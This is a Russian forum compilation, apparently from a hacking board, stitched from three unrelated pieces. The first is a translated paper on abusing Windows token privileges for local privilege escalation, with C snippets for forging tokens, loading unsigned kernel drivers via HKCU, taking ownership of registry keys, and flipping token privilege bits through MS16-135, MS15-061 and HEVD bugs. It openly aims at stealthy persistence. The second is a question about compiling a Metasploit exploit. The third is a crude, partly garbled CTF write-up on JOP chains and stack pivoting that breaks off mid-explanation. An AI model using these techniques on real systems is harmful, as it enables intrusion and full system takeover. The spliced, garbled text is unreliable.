Привилегия SeCreateTokenPrivilege позволяет пользователям создавать первичные токены с помощью функции ZwCreateToken. К сожалению, одно это право не позволяет пользователю использовать только что созданный токен. Поэтому наивные попытки создать и использовать токены для пользователей с высокими привилегиями, таких как "NT AUTHORITY\SYSTEM", не увенчаются успехом.
Напомним правила имперсонализации токенов из раздела 1.4. Пользователю разрешено выдавать себя за токен даже без SeImpersonatePrivilege, если токен предназначен для того же пользователя и уровень целостности меньше или равен текущему уровню целостности процесса.
Чтобы использовать SeCreateTokenPrivilege, нам нужно только создать новый токен имперсонализации, который соответствует запрашивающему токену с добавлением привилегированной SID группы. Теоретически это довольно просто сделать, но API для этих интерфейсов и функция ZwCreateToken не очень дружелюбны. Большинство полей мы можем запросить из нашего исполняющего токена через функцию GetTokenInformation, с несколькими исключениями.
Как уже упоминалось, мы хотим включить локальную группу администраторов на токене. Для этого мы создаем SID, используя RID группы:
C:Copy to clipboard
SID_BUILTIN SIDLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, DOMAIN_ALIAS_RID_ADMINS } };
Затем мы перебираем группы токена и повышаем его статус от простого пользователя до уровня Администратора:
C:Copy to clipboard
for (int i = 0; i < groups->GroupCount; ++i, pSid++)
{
PISID piSid = PISID)pSid->Sid;
if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
{
memcpy(piSid, &TkSidLocalAdminGroup, sizeof(TkSidLocalAdminGroup));
pSid->Attributes = SE_GROUP_ENABLED;
}
}
Последнее изменение гарантирует, что мы создаем токен TokenImpersonation. Это можно установить в атрибутах объекта токена:
C:Copy to clipboard
SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };
OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos };
При условии, что мы поддерживаем пользователя токена и уровень целостности, мы можем наконец использовать токен и выдать себя за исполняющий поток.
3.1.7 — Привилегия SeLoadDriverPrivilege
Привилегия LoadDriver описывается Microsoft в статье “User Right: Load and unload device drivers”. Тот факт, что драйверы устройств работают в ядре, делает эту привилегию очень желательной.
Наша цель - выполнить произвольный код в ядре, заданном только SeLoadDriverPrivilege, и обойти любые требования подписи драйверов в процессе. В большинстве документов об этой привилегии и соответствующем вызове Windows API “NtLoadDriver” предполагается, что вызывающий дополнительные привилегии в системе, в частности, возможность записи в раздел HKLM (HKEY_LOCAL_MACHINE) реестра Windows.
Формат вызова API Windows для загрузки драйвера выглядит следующим образом:
NTSTATUS NtLoadDriver( In PUNICODE_STRING DriverServiceName);
DriverServiceName[in] это указатель на подсчитанную строку Unicode, которая указывает путь к разделу реестра драйвера, \Registry\Machine\System\CurrentControlSet\Services\DriverName, где DriverName
Параметр DriverServiceName является указателем на местоположение реестра. Под ключом “DriverName” должно быть как минимум два следующих значения:
+ ImagePath - строка в формате "??\C:\path\to\driver.sys"
+ Type - DWORD, который должен быть установлен в "1"
Обратите внимание, что формат параметра "DriverServiceName" предположительно (согласно документации) должен начинаться с "\Registry\Machine", который является ссылкой на раздел реестра HKLM, к которому мы предполагаем, что у нас нет доступа. Чтобы обойти это препятствие, мы можем вместо этого использовать путь, который указывает на HKCU (HKEY_CURRENT_USER), например "\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003". Здесь числовой идентификатор в строке - это RID для нашего текущего пользователя. Мы должны сделать это, потому что ядро не знает, что такое HKCU, поскольку это просто помощник уровня пользователя, который указывает на куст HKLM.
Так как "System\CurrentControlSet\Services\DriverName" не существует по этому пути, мы должны его создать, а это мы можем сделать, так как это куст реестра текущего пользователя. Формат загрузки простого драйвера довольно прост. Мы должны, как минимум, определить две вещи:
C:Copy to clipboard
+ REG_DWORD Type
+ REG_SZ ImagePath
Тип определяет службу, как указано в wdm.h:
C:Copy to clipboard
#define SERVICE_KERNEL_DRIVER 0x00000001
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
#define SERVICE_ADAPTER 0x00000004
#define SERVICE_RECOGNIZER_DRIVER 0x00000008
[....]
В нашем случае мы будем использовать тип SERVICE_KERNEL_DRIVER.
Как только эти значения установлены, мы можем затем вызвать функцию NtLoadDriver с путем к нашему ключу реестра и загрузить драйвер в ядро.
Есть несколько других стратегий, которые можно использовать для загрузки драйверов режима ядра, таких как ключ FltMgr или condrv, но они не могут быть использованы без административных привилегий.
3.1.8 — Привилегия SeTakeOwnershipPrivilege
Эта привилегия оскорбительно похожа на SeRestorePrivilege. Согласно MSDN, она позволяет процессу "вступать во владение объектом без предоставления дискреционного доступа", предоставляя право доступа WRITE_OWNER. Эксплуатация этой привилегии очень похоже на SeRestorePrivilege, за исключением того, что сначала мы должны стать владельцем раздела реестра, в который мы хотим записать.
Чтобы стать владельцем раздела реестра, необходимо создать ACL с обновленным владельцем, а затем изменить DACL, чтобы мы могли писать в него. Для построения ACL требуется создание объекта EXPLICIT_ACCESS:
C:Copy to clipboard
ea[0].grfAccessPermissions = KEY_ALL_ACCESS;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
ea[0].Trustee.ptstrName = (LPTSTR)user->User.Sid; // owner
Затем мы можем использовать SetEntriesInAcl для создания объекта ACL. Как только объект ACL составлен, мы вступаем во владение путем реестра:
C:Copy to clipboard
SetNamedSecurityInfo(_TEXT("MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL);
Как только у нас есть ключ реестра, мы делаем последний вызов SetNamedSecurityInfo, чтобы включить ранее составленный ACL и получить права на запись для записи:
C:Copy to clipboard
SetNamedSecurityInfo(_TEXT("MACHINE\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options"), SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL);
На этом этапе мы можем выполнить те же шаги, что и с помощью метода SeRestorePrivilege, и убедиться, что восстановление реестра уже завершено.
Подобно SeRestorePrivilege, мы также можем контролировать критические системные файлы или папки, чтобы злоупотреблять порядком загрузки DLL или другими подобными методами.
3.1.9 — Привилегия SeDebugPrivilege
Привилегия SeDebugPrivilege очень мощная, он позволяет владельцу отлаживать другой процесс, включая чтение и запись в память этого процесса. Эта привилегия в течение многих лет широко использовалась авторами вредоносных программ и разработчиками эксплойтов, и поэтому многие из методов, которые можно было бы использовать для получения EoP с помощью этой привилегии, будут отмечены современными решениями для защиты конечных точек.
Существует множество различных стратегий внедрения памяти, которые можно использовать с этой привилегией, которые обходят большинство решений AV/HIPS. Их поиск оставлен в качестве упражнения для читателя.
3.2 - Эксплуатация Частичной Записи
Понимая, как можно использовать индивидуальные привилегии, мы можем теперь начать демонстрировать, как и почему они могут быть полезны для нас. Тематические исследования будут обсуждаться далее в разделе 4.
Этот метод был рожден в результате попыток уклониться от различных изменений ядра и пользовательского пространства с помощью частичной эксплуатации записи памяти.
Т.е. частичная запись - это инструкция, в которой контролируется пункт контролируется, но записанное значение может и не контролироваться. Или значение может быть однобитовой или однобайтовой модификацией, такой как уменьшение или сложение. Взять, к примеру, инструкцию DEC; если адрес получателя может контролироваться, то у нас есть возможность произвольно уменьшить любой адрес на один. Инструкция OR является еще одним примером; в то время как мы можем контролировать назначение, в котором мы выполняем операцию OR, мы не можем контролировать значение, в котором мы используем инструкцию OR: OR DWORD PTR[controlled], 4.
Как правило, для их эксплуатации потребуется изменить поля объекта, такие как длина, чтобы получить произвольный или частичный примитив для чтения/записи. Другие могут вносить изменения в таблицы страниц или искажать другие структуры данных режима ядра. Это все части большой цепочки эксплойтов, которая обычно заканчивается обнулением в ACL, обменом токенов процесса или выполнением привилегированного процесса пользовательского режима. Привилегированное исполнение (см.: полезная нагрузка) изменяется в зависимости от условий защиты.
Вместо того, чтобы пытаться выполнить ROP в ядре или манипулировать объектами ядра, почему бы не делегировать повышение привилегий пользователю? Подобно стратегии обмена процессами, если мы сможем включить повышенные привилегии в пользовательском пространстве, мы выиграем от повышения надежности, тривиального обхода защиты ядра и повышенной гибкости в доставке некоторой вредоносной полезной нагрузки. Мы хотим оставаться в системе надолго, и для этого мы должны оставаться в тайне.
Как обсуждалось в разделе 1.2, каждый токен имеет структуру _SEP_TOKEN_PRIVILEGES, содержащую те привилегии, которые токен имеет в настоящее время. Наш путь к повышению должен быть довольно очевидным: злоупотребляя частичной записью и утечкой информации из пользовательского пространства, мы можем перебросить несколько битов в нашем токене процесса и получить доступ к административным привилегиям. Поскольку мы часто не можем контролировать записываемое значение, важно, чтобы все возможные значения учитывали повышение привилегий. Мы определили три байта, в которых не предоставляются административные привилегии: 0x00, 0x40, 0x41. То есть, если бы вы получили MOV BYTE PTR [controlled], примитив 0x41, вы не смогли бы разрешить эксплуатируемую привилегию. Это предполагает инструкцию MOV для битовых масок привилегий по умолчанию; другие операции или комбинации привилегий могут предоставлять повышенные привилегии. Все остальные значения предоставляют доступ к эксплуатируемой привилегии.
Чтобы заполучить этот токен процесса, мы должны иметь возможность получить адрес токена контролируемого процесса. Поскольку в этой стратегии мы нацелены на уязвимости, связанные с повышением привилегий, мы можем использовать и продолжать использовать (начиная с v1703) общий API-интерфейс, т.е. функцию NtQuerySystemInformation для утечки нашего адреса токена процесса, как показано ниже:
C:Copy to clipboard
NtQuerySystemInformation(16, bHandleInfo, sizeof(bHandleInfo), &BytesReturned));
PSYSTEM_HANDLE_INFORMATION shiHandleInfo = (PSYSTEM_HANDLE_INFORMATION)bHandleInfo;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO hteCurrent = &shiHandleInfo > Handles[0];
for (i = 0; i<shiHandleInfo>NumberOfHandles; hteCurrent++, i++)
{
if(hteCurrent>UniqueProcessId == dwPid && hteCurrent>HandleValue == (USHORT)hToken)
return hteCurrent>Object;
}
Значение dwPid - это процесс, в котором существует токен, а hToken - дескриптор токена процесса. Обратите внимание, что в Windows 8.1 эта стратегия больше не работает в процессах с низкой целостностью, и поэтому необходимо будет использовать другие методы. Для краткости и ясности мы будем работать в предположении, что мы нацелены на повышение привилегий из процесса средней целостности (по умолчанию IL для пользователей) и полагаемся на вышеописанный метод.
3.3 - Злоупотребление существующими учетными записями служб
В дополнение к тому, что они полезны для локального повышения привилегий через произвольные примитивы записи в ядре, эти же методы могут быть полезны в более распространенном сценарии, когда злоумышленник обращается к компьютеру как к локальной учетной записи службы. Существует ряд распространенных сценариев, в которых злоумышленник может выполнить код в контексте учетной записи службы на целевом компьютере, включая следующие:
+ Сам сервис скомпрометирован из-за некоторой уязвимости. Типичные сценарии
включают в себя уязвимости веб-приложений, которые допускают выполнение в
контексте учетной записи, на которой запущен IIS, и уязвимости внедрения SQL,
где XP_CMDSHELL можно использовать для запуска кода в контексте учетной записи
службы SQL.
+ Учетные данные учетной записи службы утекли
+ Атаки в стиле Kerberoast. Билет Kerberos запрашивается для целевой учетной
записи с контроллера домена. Часть этого билета зашифрована с использованием
хэша пароля целевой учетной записи. Это может быть эффективно взломано в
автономном режиме, чтобы получить пароль учетной записи.
В любом из этих сценариев, если учетная запись службы имеет одну из привилегий, описанных в предыдущем разделе, можно получить локальное повышение привилегий, просто используя соответствующий модуль из этого проекта.
3.3.1 - Общие учетные записи служб
В этом разделе, мы дадим краткие примеры некоторых общих учетных записей служб, которые могут использоваться для EoP из-за их привилегий токена по умолчанию.
3.3.1.2 - MSSQL / IIS
Если мы рассмотрим привилегии по умолчанию, назначенные учетным записям служб MSSQL и IIS с помощью инструмента "AccessChk" от Sysinternals, мы обнаружим следующее:
+ IIS - SeImpersonatePrivilege — BUILTIN\IIS_IUSRS
+ MSSQL - SeAssignPrimaryTokenPrivilege - NT SERVICE\SQLAgent$SQLEXPRESS, NT
SERVICE\MSSQLLaunchpad$SQLEXPRESS, NT SERVICE\MSSQL$SQLEXPRESS
Этих прав достаточно для EoP, используя модули в этом проекте. Компрометация этих учетных записей - очень распространенный сценарий тестирования на проникновение. Каждый раз, когда SQL-инъекция в MSSQL или уязвимость веб- приложения в IIS используются для выполнения команд, злоумышленники получают эти привилегии. Традиционно это считалось ограничивающим сценарием с ограниченной локальной учетной записью, и злоумышленнику необходимо будет использовать другой метод для EoP. Используя методы, описанные в этой статье, это просто вопрос злоупотребления существующими привилегиями токена.
3.3.1.3 - Продукты для резервного копирования
Каждый коммерческий продукт для резервного копирования на рынке будет работать с какими-то повышенными привилегиями. Во многих случаях учетная запись службы резервного копирования будет работать с привилегиями SYSTEM, что делает ненужным EoP. Там, где администраторы начали совершенствоваться, мы начинаем видеть, что привилегии для этих учетных записей становятся более ограниченными.
Ниже приведены минимальные привилегии, необходимые для решения Veritas NetBackup, беззастенчиво заимствованные с их веб-сайта (https://www.veritas.com/support/en_US/article.TECH36718):
+ * Действовать как часть операционной системы (только для Windows Server
2000).
+ * Создать маркерный объект.
+ Войти как сервис.
+ Вход в систему как пакетное задание.
+ Управление аудитом и журналом безопасности.
+ * Резервное копирование файлов и каталогов.
+ * Восстановление файлов и каталогов.
Обратите внимание на 4 пункт в списке, которые мы пометили звездочкой (*).
Любая из этих привилегий в отдельности может быть использована для EoP с помощью одного из методов, описанных в этом проекте.
3.3.1.4 - Локальные сервисные аккаунты
На каждом компьютере Windows также есть предопределенные учетные записи служб, которые содержат привилегии, которые можно использовать для EoP. Это "NT AUTHORITY\SERVICE", "NT AUTHORITY\NETWORK SERVICE" и "NT AUTHORITY\LOCAL SERVICE".
Каждый из них имеет несколько отличающиеся привилегии, некоторые содержат несколько эксплуатируемых привилегий, однако все они имеют доступ к эксплуатируемому SeImpersonatePrivilege.
Если злоумышленник каким-то образом может получить доступ к системе в контексте одной из этих ограниченных локальных учетных записей, он может тривиально повысить свои привилегии до "NT AUTHORITY\SYSTEM", используя методы, описанные выше.
4 - Примеры разработки ядра эксплойтов
Теперь мы подробно рассмотрим несколько тематических исследований, которые демонстрируют, как и почему мы можем захотеть делегировать привилегированную эксплуатацию пользователю. Обратите внимание, что наша стратегия применяется к повышению привилегий; в своем текущем состоянии она не может использоваться дистанционно.
4.1 — MS16-135
MS16-135 - это ошибка, которую мы впервые написали для эксплуатации этой стратегии, и она оказалась фантастическим примером. Первоначально выпущенный Google после выявления активной эксплуатации в дикой среде ( [https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to- protect.html](https://security.googleblog.com/2016/10/disclosing- vulnerabilities-to-protect.html) ) , триггер был быстро выпущен, и началась гонка за вооружение.
Одним из первых публичных демонстраций эксплуатации провел Enrique Nissim на Zero Nights 2016 (https://github.com/IOActive/I-know-where-your-page- lives/) , в котором он использовал ошибку, чтобы продемонстрировать слабости рандомизации PML4. Несколько других POC последовали за ним, большинство из них злоупотребляли стратегией PML4, другие использовали технику pvscan0. Ошибка может быть вызвана через функцию SetWindowLongPtr со специально созданным окном и значением индекса. Результатом является управляемая операция OR: OR DWORD PTR[controlled], 4. Первым шагом является определение адреса _SEP_TOKEN_PRIVILEGES. Это может быть достигнуто с помощью следующего кода:
C:Copy to clipboard
OpenProcessToken(OpenProcess(PROCESS_QUERY_INFORMATION, 1, GetParentProcessId()), TOKEN_QUERY | TOKEN_QUERY_SOURCE, ¤t_token);
dwToken = (UINT)current_token & 0xffff;
_TOKEN = GetHandleAddress(GetCurrentProcessId(), dwToken);
startTokenOffset = (UINT)_TOKEN + 0x40;
Сначала мы открываем дескриптор для родительского токена процесса, а затем используем функцию-обертку NtQuerySystemInformation для извлечения фактического адреса токена. Структура, за которой мы следуем, находится на 0x40 байтов впереди. Обратите внимание, что утечка функции NtQuerySystemInformation работает только из процессов средней целостности в Windows 8.1+. Чтобы эксплуатировать это в процессе с низким уровнем целостности, нам нужно использовать другую утечку (https://github.com/sam-b/windows_kernel_address_leaks ). Используя адрес токена, мы теперь корректируем смещение для включенной битовой маски и вызываем следующий код:
C:Copy to clipboard
ULONG enabled_create_token = startTokenOffset + 0xa;
SetWindowLongPtr(childWnd, GWLP_ID, (LONG)(enabled_create_token — 0x14));
Если мы сгенерируем эту ошибку несколько раз при сдвиге смещения, мы можем изменить каждый байт в битовой маске Enabled.
Это включает следующие привилегии:
C:Copy to clipboard
02 0x000000002 SeCreateTokenPrivilege Attributes - Enabled
10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled
18 0x000000012 SeRestorePrivilege Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege Attributes — Enabled
Как мы уже видели, три из четырех включенных привилегий тривиально эксплуатированы. Наш POC использует злоупотребление SeRestorePrivilege, и его можно найти в репозитории проекта git (https://github.com/hatRiot/token- priv ).
Хотя многие публичные эксплойты для этой ошибки были написаны таким образом, чтобы продемонстрировать технику, мы обнаруживаем, что представленный пример подчеркивает простоту и надежность нашей стратегии: он опирается только на внешнюю необходимость утечки адреса токена из ядра. Публичный POC сложнее и требует разнообразных примитивных танцев c бубном над ядром.
4.2 — MS15-061
Это была еще одна фантастическая ошибка, наблюдаемая в дикой среде во время вирусной кампаний RussianDoll, и она была быстро исправлена и взята на вооружение в сообществе. Как и MS16-135, это частичная перезапись, которая позволяет уменьшить управляемый адрес. Эта ошибка использовала UAF в win32k, в частности еще одна проблема с обратными вызовами пользовательского режима, исходящими из в пределах win32k (<https://community.rapid7.com/community/metasploit/blog/2015/10/01/flipping- bits>).
Наша стратегия здесь не сильно отличается от примера в 4.1: мы идентифицируем наш адрес токена, собираем кучу для получения нашего произвольного уменьшения и запускаем его несколько раз, чтобы покрыть битовые маски Enabled и Present. Это включает целый ряд различных привилегий, а именно:
C:Copy to clipboard
07 0x000000007 SeTcbPrivilege Attributes - Enabled
09 0x000000009 SeTakeOwnershipPrivilege Attributes - Enabled
10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled
17 0x000000011 SeBackupPrivilege Attributes - Enabled
18 0x000000012 SeRestorePrivilege Attributes — Enabled
Всего доступно 14 привилегий; сразу же часто используемые показаны выше. Подтверждение концепции снова предоставлено в репозитории git проекта ([https://github.com/hatRiot/token-priv](https://github.com/hatRiot/token- priv) ).
Публичные образцы используют различные стратегии; один из первых, выпущенных NCC, использует более старую технику из Pwn2Own 2013, в которой шелл-код хранится в структуре tagWND, а бит ServerSideWindowProc уменьшается до тех пор, пока не будет перенесен, что означает, что оконная процедура tagWND будет выполняться без переключения контекста. Шелл-код использовал обнуление из ACL- списка winlogon и внедрялся в привилегированный процесс. В других примерах используется более современная стратегия обмена токенами процесса.
Дело в том, что нам не нужно выполнять какой-либо шелл-код, и нам не нужно работать для получения каких-либо других примитивов.
4.3 — HEVD
HEVD, или HacksysExtremeVulnerableDriver (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver), является специальным уязвимым драйвером для Windows, который можно загрузить в систему для изучения и исследования различных стратегий и методов эксплуатации. Кроме того, он предоставляет простой способ демонстрации стратегий уклонения от безопасности в современных системах без использования 0days.
Мы демонстрируем нашу технику, используя произвольную ошибку записи, присутствующую в HEVD, инициируемую с помощью управляющего кода 0x22200b. Как уже упоминалось, "ошибка" является преднамеренным и управляемым примитивом write-what-where в драйвере. Ниже находтся код для краткости
C:Copy to clipboard
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere)
{
What = UserWriteWhatWhere -> What;
Where = UserWriteWhatWhere -> Where;
*(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
}
Есть несколько публичных демонстраций эксплуатации этого; большинство для Windows 7, несколько для Windows 10 build 1607. Один от хакера Cn33liz ([https://github.com/Cn33liz/HSEVD- ArbitraryOverwriteGDI](https://github.com/Cn33liz/HSEVD- ArbitraryOverwriteGDI) ) демонстрирует эксплуатацию этой ошибки с помощью технологии GDI Reloaded, представленной на Ekoparty №16. Стратегия Reloaded улучшает первоначальную стратегию GDI pvscan, включая обход исправления KASLR таблицы общих дескрипторов GDI, представленного в v1607, за счет утечки адресов ядра через глобальную таблицу gSharedInfo (старая, но явно все еще жизнеспособная утечка).
В релизе v1703 (Creators Update) структура таблицы была изменена, а утечки адресов удалены. Таким образом, техника GDI Reloaded все еще работает, при условии, что мы можем идентифицировать другую утечку KASLR.
Последний пример примечания взят из GradiusX, который демонстрирует использование в системе Windows 10 v1703. В примере используется примитив GDI rw для утечки структуры EPROCESS из текущего процесса, который затем можно использовать для утечки адреса токена запущенного процесса. После утечки адреса он теряет адрес токена SYSTEM и переписывает, используя примитив GDI, свой резидентный токен токена SYSTEM. Таким образом, токены поменяется местами. Использование примитива GDI для утечки структуры EPROCESS (через _THREADINFO) позволяет ему обойти необходимость отдельной утечки KASLR и, следовательно, должно нормально работать из-за процессов с низкой целостностью.
Наша стратегия здесь довольно проста; нет необходимости собирать кучу, выполнять шеллкод или устанавливать примитивы rw. Из-за изменений в структуре _SEP_TOKEN_PRIVILEGES мы должны выполнить два отдельных вызова DeviceIoControl; один для перезаписи маски Enabled и один для маски Present. Как и в предыдущих примерах, мы получаем адрес токена и смещения:
C:Copy to clipboard
uToken = (USHORT)current_token & 0xffff;
_TOKEN = GetHandleAddress(GetCurrentProcessId(), uToken);
startTokenOffset = (ULONG)_TOKEN + 0x40;
enabled_offset = (ULONG)_TOKEN + 0x48;
Затем мы устанавливаем наши примитивы what/where (используя структуру PWRITE_WHAT_WHERE, как определено HEVD):
C:Copy to clipboard
pww = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
pww->What = (PULONG_PTR)what;
pww->Where = (PULONG_PTR)startTokenOffset;
Затем просто запустите драйвер через функцию DeviceIoControl. Мы выполняем это во второй раз с флагом enabled_offset . Теперь у нас включены повышенные привилегии на токене.
5 — Заключение
Поскольку Microsoft продолжает развивать и совершенствовать базовые стратегии защиты в Windows, как в пользовательском пространстве, так и в ядре, злоумышленники дополнительно продолжают развиваться. Представленные здесь идеи не могут быть прорывом в наступательной эксплуатации ядра, но мы полагаем, что они дают представление о том, куда движутся методы эксплуатации. Навстречу логике, вдали от ядра, на земле, где приложения и скрипты и документы Office резвятся с критическими, привилегированными элементами управления. Мы продемонстрировали, как тривиально может быть эксплуатируемо rite-what-where, предсказуемым и стабильным способом, используя только информации из ядра.
Нападение на индивидуальные привилегии представляется логичным развитием существующих тенденций: замена токенов, искажение DACL, запись в привилегированные файлы. Ограничение области привилегированного доступа повышает общую эффективность и снижает вероятность атаки.
В идеале, мы можем определить другие такие привилегии, которыми следует злоупотреблять, поскольку они настолько же обильны, насколько и непрозрачны. Структура EPROCESS содержит флаги и маски, управляющие различными механизмами доступа в ядре. Мы касались имперсонализации(олицетворения) токенов с разделенным доступом, потоков и других подобных средств, но их примитивный потенциал почти гарантирован. Да будет проклято это чертово ядро Windows.
6 — Приветы
Людей слишком много, но основных я перечислю ниже:
themson, bannedit, quitos, tiraniddo, aionescu, phrack, pastor laphroaig, shellster
Источник: https://www.exploit-db.com/exploits/42556
Автор перевода: yashechka
Специально для XSS.is (c)
Добрый вечер, уважаемые. Не могу уже какой час разобраться с компиляцией
эксплойта на С для metasploit. Делаю, так как описано в мануалах, gcc file.c
-o file.c, компиляция проходит успешно, файл становится исполняемым, после
перемещаю этот файл в .msf4/modules/exploits и обновляю db. После обновления
базы данных нужного эксплойта нет в msfconsole. Знаю, что msf работает только
с rb и py файлами, патался и такие расширения ставить, но без толку.
Так же просто пытался запустить скомпилированный файл командой ./a-out но
получал
clnt_create
: Success
Segmentation fault
После компиляции пытался открывать файл nano редактором, но вид там был не
читаем
Может кто подсказать в чем моя ошибка, буду Очень благодарен
Вступление: хочу поблагодарить искренне и от всего кошачего сердца этого
человека:
Дядюшка Фазз, если бы не ты - я бы никогда не смог стать хакером.
Spoiler: Пролог
кароче говоря там из гаджетов только безусловные jop-ы и всего один
единственный ret;
я подумал, что этот таск - это жопа.
а жопа состоит из двух полужопий.
и между ними нужно вставить ret;
а пиндосы по другому проходят
они сначала ret; кладут
Предварительные ласки
Сам бинарник весит 4.4кб. В нем нету не plt ни got. не залинкована не одна
либа. Нету не единой функции, нету даже названия у main().
мда, не густо. стек с защитой от выполнения. ну и aslr на сервере на уровне
системы. посмотрим что внутри....
Прилюдия
а что вы знаете про минимализм?
start
vmmap
i fu
жесть. не исполняемый стек, и 4096 байт инструкций. и всё.
сперва появилась идея использовать vdso. такие функции, как time и
gettimeofday имеют в себе огромное множество полезных вещей. Но, но на
удалёной системе aslr.
задумавшись про ядро я вспомни про dmesg:
мда. исходя из увиденного, можно предположить, что у нас есть буффер. что
программа крашится в любом случае. и что если буффер переполнить - то крашится
она чуть иначе.
а ещё, что буффер не большой, так как излишки паттерна выплюнуло обратно в
терминал.
Раздевайся
Пролог (преамбула) - кладём в стек указатель стекфрейма - $RSP. далее
буквально капля кода. есть syscall, это уже хорошо. в конце, вместо эпилога,
идёт безусловный переход по адресу, который находится в ячейке памяти на 8
байт меньше, чем ячейка памяти, которую занимает $RSP - указатель стекового
фрейма.
зато над основным телом программы есть мёртвая зона с кодом.
тут-то мы и будем искать гаджеты.
но сперва посмотрим на краш под дебагером. и на память в процессе краша.
Экшен!
скармливаем паттерн, доходим до джампа. на этом джампе смело можно ставить
брэйк, он нам понадобится. сверху ничего интересного не происходит.
как мы видем ведёт он в никуда.
C-like:Copy to clipboard
pwndbg> p 12*8*2
$2 = 192
pwndbg> p 12*8*2 - 16
$3 = 176
и так, у нас есть 176 байт буффера и 2 ячейки памяти по 8 байт за ним. в сумме
192 байта.
Последняя ячейка принадлежит текущему указателю стека - $RSP.
Джамп указывает на предыдущую ячейку памяти, как бы намекая нам на жоп-чейн.
Забегая вперёд скажу, что JOP-чейн - это альтернатива привычным ret; чейнам.
Используется в ситуациях когда нормальных гаджетов нету, либо когда нужно
обойти файрвол или какой-либо модуль защиты на удалённом сервере. Так как про
0x41414141 все знают, то существуют комплексные решения для защиты серверов,
которые тут же улавливают подобные вещи и сообщают куда надо. Но это не наш
случай. Пока что не наш :3
А в нашем случае нужно делать stack pivoting.
Это методика, которая позволяет создать фейковый стекфрейм (вернее он
настоящий, но не предусмотрен самой программой) и создать его в таком месте,
где у нас есть возможность управлять памятью. То бишь - расширить себе стек.
It seems that the easiest way to set the stack pointer to a specific value is by using the xchg gadget. It exchanges the EAX and ESP register values. The plan is therefore:
Click to expand...
что ещё мы знаем про ассемблер?
mov esp, edx; ret; == push edx; pop esp; ret
пока всё. у нас есть аж 3 мненоники которые позволят нам это осуществить. (вообще их значительно больше, но я знаю пока только эти)
Жоп-Чейн
Я специально оттягивал это на по-позже.
0x\ue\n\n0
эээээээээ..... всё что с сисколлом - сразу нет.
остаётся 4 гаджета. первый - нет, т.к. новый указатель будет в младших байтах
от старого (выше).
второй тоже нет, т.к. он не влияет на указатель.
и 3 и 4 тоже не влияют. и шо делать?
ноу-ретурну ret; приделать.
и так, логика. у нас в стекфрейме 2 ячейки одна за одной, в первую($psp-8)
прыгает каретка ($rip), во вторую ($rsp текущего стекфрейма, основного) мы
можем записать данные.
Важное уточнение: от того, что мы туда что-то запишем - стекфрейм не обновится
сам по себе. просто данная ячейка будет содержать ререзаписанные данные. Что
бы он обновился - его оттуда нужн счиать.
мы берем и записываем в первую ячейку адрес гаджета, а во вторую ячейку -
адрес начала нашего нового стекфрейма. каретка попадает на pop rsp, берет
значение из текущего стекфрейма (тоесть из следуещей ячейки в данном случае,
так как она у нас по совместительству ячейка текущего стекфрейма), и дублирует
его в регистр $rsp. после этого стекфрейм сдвигается, а то, что находится в
пределах нового стекфрейма - попадает в стек соответственно. И по скольку в
ASM инструкции выполняются поочередно и результат их выполнения
материализуется мгновенно - дальше, все остальные инструкциии pop, будут брать
значения из уже нового стефрейма. Хотя гаджет - один и тот же. Причем цельный.
Наверное, это один из самых важных моментов которые я хотел разжевать. Себе и
другим
это какая-то просто 3/14 + 0x3da
реально, человеческому мозгу сложно думать снизу вверх и справа на лево, ещё и
в 16-ричной системе думанья. Но, это эксплойтинг, чёрная магия. А это значит,
что вопрос только желания и усилий.
Я решил себе эту задачу с помощью подключения в дело ассоциативного мышления,
так как мой мозг не работает в 16-ричной, и ему сложно было счтитать. по этому
я расширил регистры своего мозга ~~метамфетамином~~ , подключив мощьность
абстрактного мышления.
C-like:Copy to clipboard
( (p64(0x1) + p64(0x2) + p64(0x3) + p64(0x4) + p64(0x5) + p64(0x6) + p64(0x7)) + p64(0x8) + p64(0x9) + p64(0xa) + p64(0xb) + p64(0xc) + p64(0xd) + p64(0xe) + p64(0xf) + p64(0x20) + p64(0x21) + p64(0x22) + p64(0x23) + p64(0x24) + p64(0x25) + p64(0x26) + ) ((( p64(0x00401000)+p64(0x7fffffffe4a8) )))
сперва я сделал вот так. пошёл на уступки всё-так процессору, проявил
ссолидарность, и начал говорить с ним на его языке.
он ответил мне взаимностью, и пояснил, что в стеке лежат не данные, а
указатели на данные и данные.
то бишь, jmp [rdi] == переход не на инструкцию, которая лежит в $rdi, а на
инструкцию, которая лежит по адресу, который лежит в $rdi.
гениальная хрень. как в шахматах или в шашках. всё ради одного региста - rdx
я специально не буду углубляться в подробности самого жоп-чейна, так как эти
знания можно взять только в гугле. просто гуглим мнемоники и по немногу
понимаем что происходит.
а потом - джамп через rcx. куда?? нам осталось сделать 2 вещи:
1 - положить в $RAX 0x3b (rax - это регистр, в котором хранится номер syscall,
который передаётся в syscall() в качестве аргумента и отвечает за то, какой
именно сискол будет вызван)
2 - вызваать syscall
ну в rdx мы можем записать 0x3b, сделать exchange, в раксе окажется нужный
номер сискола, а в рдх, который нам по сути безразличен, 0 из rax
